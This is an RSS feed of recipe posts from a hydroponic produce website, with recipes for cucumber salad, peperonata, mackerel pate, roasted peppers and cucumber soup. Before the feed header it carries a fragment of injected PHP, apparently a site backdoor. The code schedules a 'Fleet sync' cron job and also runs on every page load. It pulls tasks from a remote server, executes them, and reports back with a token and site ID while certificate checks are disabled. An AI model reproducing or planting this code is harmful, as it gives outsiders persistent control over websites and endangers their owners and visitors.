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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Recipes Archives - l'orto d iops https://lortodiops.com fresh hydroponic produce Wed, 28 Aug 2019 12:41:20 +0000 en-US hourly 1 https://wordpress.org/?v=6.0.11 https://lortodiops.com/wp-content/uploads/2019/09/favicon.ico Recipes Archives - l'orto d iops https://lortodiops.com 32 32 Creamy Italian Cucumber Salad https://lortodiops.com/creamy-italian-cucumber-salad/ https://lortodiops.com/creamy-italian-cucumber-salad/#respond Wed, 28 Aug 2019 12:39:12 +0000 https://lortodiops.com/?p=224 Ingredients: ¾ cup mayonnaise ¼ cup  sour cream 1tbsp red wine vinegar 2tsp Italian seasoning 1tsp olive oil 2 garlic cloves minced 3 large cucumbers 1 Red onion Sugar, salt and pepper to taste Method In a medium bowl whisk together the mayonnaise, sour cream, red vinegar, Italian seasoning, olive oil, [...]

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Ingredients:

¾ cup mayonnaise

¼ cup  sour cream

1tbsp red wine vinegar

2tsp Italian seasoning

1tsp olive oil

2 garlic cloves minced

3 large cucumbers

1 Red onion

Sugar, salt and pepper to taste

Method

  1. In a medium bowl whisk together the mayonnaise, sour cream, red vinegar, Italian seasoning, olive oil, garlic, salt, pepper and sugar.
  2. Cover and chill the dressing for at least one hour or up to one full day before making the salad
  3. Slice cucumbers and red onions
  4. Mix the dressing together with the onion and cucumber and serve immediately chilled.

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]]> https://lortodiops.com/creamy-italian-cucumber-salad/feed/ 0 Peperonata https://lortodiops.com/peperonata/ https://lortodiops.com/peperonata/#respond Wed, 28 Aug 2019 11:41:46 +0000 https://lortodiops.com/?p=219 Ingredients: 3 red peppers 3 yellow peppers 4 garlic cloves 1 red onion cut into slices 200g   diced tomatoes 8tbsp  olive oil 2tbsp  balsamic vinegar Salt and pepper to taste Fresh bread to serve Method Add olive oil to saucepan over medium heat and add garlic, onions and basil and sauté [...]

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Ingredients:

3 red peppers

3 yellow peppers

4 garlic cloves

1 red onion cut into slices

200g   diced tomatoes

8tbsp  olive oil

2tbsp  balsamic vinegar

Salt and pepper to taste

Fresh bread to serve

Method

  1. Add olive oil to saucepan over medium heat and add garlic, onions and basil and sauté till soft
  2. Add the sliced peppers to the pan and stir and cover with lid and cook over a low heat for 30mins stirring occasionally
  3. Add the tomatoes and continue to cook until the peppers are very tender but not mushy
  4. Season the mixture with pepper and salt. Place mixture on fresh bread and add balsamic to the top to finish

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]]> https://lortodiops.com/peperonata/feed/ 0 Cucumber Carpaccio with mackerel pate https://lortodiops.com/cucumber-carpaccio-with-mackerel-pate/ https://lortodiops.com/cucumber-carpaccio-with-mackerel-pate/#respond Wed, 28 Aug 2019 11:38:35 +0000 https://lortodiops.com/?p=215 Ingredients: Ingredients Cucumber Pickle 1 Sliced and peeled cucumber 600ml  water 2 cloves 1  cardamon pod 4 black peppercorns ½ tsp toasted caraway seeds ½ tsp mustard seeds 1 bay leaf 1 tarragon sprig 30g salt 50ml white wine vinegar Ingredients Mackerel Pate 4 Mackerel fillets 75g Whipped Butter 3tbsp Fresh cream ½ [...]

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Ingredients:

Ingredients Cucumber Pickle

1 Sliced and peeled cucumber
600ml  water
2 cloves
1  cardamon pod
4 black peppercorns
½ tsp toasted caraway seeds
½ tsp mustard seeds
1 bay leaf
1 tarragon sprig
30g salt
50ml white wine vinegar

Ingredients Mackerel Pate

4 Mackerel fillets
75g Whipped Butter
3tbsp Fresh cream
½ tsp Horseradish grated finely
Paprika and Salt to taste

Ingredients for Poaching liquid

 1 Shallatos peeled and finely sliced
1 white leek part
1 Celery sticks
1 Clove garlic crushed
1 Bay leaf
1 Black peppercorns
1 Parsley stalks
1000g Turbot bones
200ml White wine
2 liters water
lemon juiced
50ml olive oil
Salt and pepper to taste

Ingredients Fennel Jelly

100ml Fennel juice
1g  agar

Method

  1. Make the pickle first. Heat 600ml water to boiling point adding all ingredients for pickle except the vinegar. When water boils remove and allow to cool. When mixture is cold then add vinegar to the pan. Place the sliced cucumbers into a kilner jar and cover with vinegar mix and set aside. The longer you leave it the better.
  2. To make the poaching liquid sweat off the shallots and garlic in a heavy based pan on medium heat. Add the bay leaves, parsley, peppercorns, celery stick, leek and fish bones. Allow to cook for 2-3mins and add the wine and reduce till almost dry. Add cold water and bring to simmer for 20mins. Remove and let stand for 20mins. Add the lemon juice and pass through a sieve. Check seasoning and store in fridge until we are ready to use it.
  3. For the fennel jelly dissolve the agar in a little water and mix into the fennel juice. Bring to a boil and then pour into a suitable container to set for 20-30mins and the dice
  4. In a wide pan poach the mackerel fillets in your poaching liquor until cooked. Once cooked discard the cooking liquid and separate the flesh from the mackerel skin. Put the mackerel flesh in a bowl and add the butter, fresh cream, horseradish and paprika to taste. Combine all ingredients with a fork or until the mackerel has broken up into the fine strands and season.
  5. The mixture should be dry enough. Cover and chill and once ready serve on a plate with the pickled cucumber.

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]]> https://lortodiops.com/cucumber-carpaccio-with-mackerel-pate/feed/ 0 Roasted Red Peppers with Hazelnuts and Anchovies https://lortodiops.com/roasted-red-peppers-with-hazelnuts-and-anchovies/ https://lortodiops.com/roasted-red-peppers-with-hazelnuts-and-anchovies/#respond Wed, 28 Aug 2019 11:14:27 +0000 https://lortodiops.com/?p=212 Ingredients: 8 Red peppers sliced in half (remove seeds and white parts) 2 Garlic cloves (slice finely) 16 Small thyme sprigs 100ml Olive oil 50ml Balsamic Vinegar 30ml Sherry Vinegar 2 Pinches of paprika 8 Anchovy fillets smoked (cut in half) 8 Basil leaves (sliced) 20g Hazelnut (toast and break) 2 handfuls blanched [...]

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Ingredients:

8 Red peppers sliced in half (remove seeds and white parts)

2 Garlic cloves (slice finely)

16 Small thyme sprigs

100ml Olive oil

50ml Balsamic Vinegar

30ml Sherry Vinegar

2 Pinches of paprika

8 Anchovy fillets smoked (cut in half)

8 Basil leaves (sliced)

20g Hazelnut (toast and break)

2 handfuls blanched almonds (slice)

            Salt and Pepper to taste

Method

  1. Preheat oven to 210 degrees
  2. Put the peppers on baking tray with skin down, add the garlic thyme and olive oil to the peppers and season with salt and pepper
  3. Place peppers in oven for 15mins and then turnover and bake for a further 10mins
  4. Pour the balsamic and sherry vinegar onto the peppers and place them in a bowl with cling wrap on the top
  5. When cool peel the peppers
  6. Sprinkle the peppers with paprika and marinate overnight
  7. Place peppers in the plate and season with the anchovies, basil, hazelnuts and drizzle olive oil

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]]> https://lortodiops.com/roasted-red-peppers-with-hazelnuts-and-anchovies/feed/ 0 Meaty Peppers https://lortodiops.com/meaty-peppers/ https://lortodiops.com/meaty-peppers/#respond Tue, 27 Aug 2019 07:05:53 +0000 https://lortodiops.com/?p=182 Ingredients: 4 Peppers (colour of choice) 8 Pork Sausages 1 Red Onion 1 Garlic 2 Eggs 50g Bread Crumbs 1 Pinch of Salt 50g Pecorino or Parmesan Pimento to taste Method Cut the heads off the peppers. Clean out the pips. Chop the garlic and onion. Brown the onion and garlic. [...]

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Ingredients:

4 Peppers (colour of choice)
8 Pork Sausages
1 Red Onion
1 Garlic
2 Eggs
50g Bread Crumbs
1 Pinch of Salt
50g Pecorino or Parmesan
Pimento to taste

Method

Cut the heads off the peppers. Clean out the pips. Chop the garlic and onion. Brown the onion and garlic. Empty the contents of the sausages into the saucepan and stir for approximately 15 mines. Stuff the peppers with the mince meat mixture. Prepare the oven to 180 degrees celcius. Bake the peppers in the oven for 35 minutes on 180 degrees celcius.

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]]> https://lortodiops.com/meaty-peppers/feed/ 0 Cucumber Soup https://lortodiops.com/cucumbers-soup/ https://lortodiops.com/cucumbers-soup/#respond Thu, 22 Aug 2019 08:58:07 +0000 https://lortodiops.com/?p=42 Ingredients: 2 English Cucumbers 1 Onion 500g Plain Yoghurt 1 Tbls Sugar 1 Litre Chicken Stock Green Food Colouring Method: Cut cucumbers and onions and brown in olive oil until see-through (approx 10mins). Then add chicken stock and sugar. Cook for 15 minutes. Add yoghurt. Chill and serve cold. [...]

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Ingredients:

2 English Cucumbers

1 Onion

500g Plain Yoghurt

1 Tbls Sugar

1 Litre Chicken Stock

Green Food Colouring

Method:

Cut cucumbers and onions and brown in olive oil until see-through (approx 10mins). Then add chicken stock and sugar. Cook for 15 minutes. Add yoghurt. Chill and serve cold.

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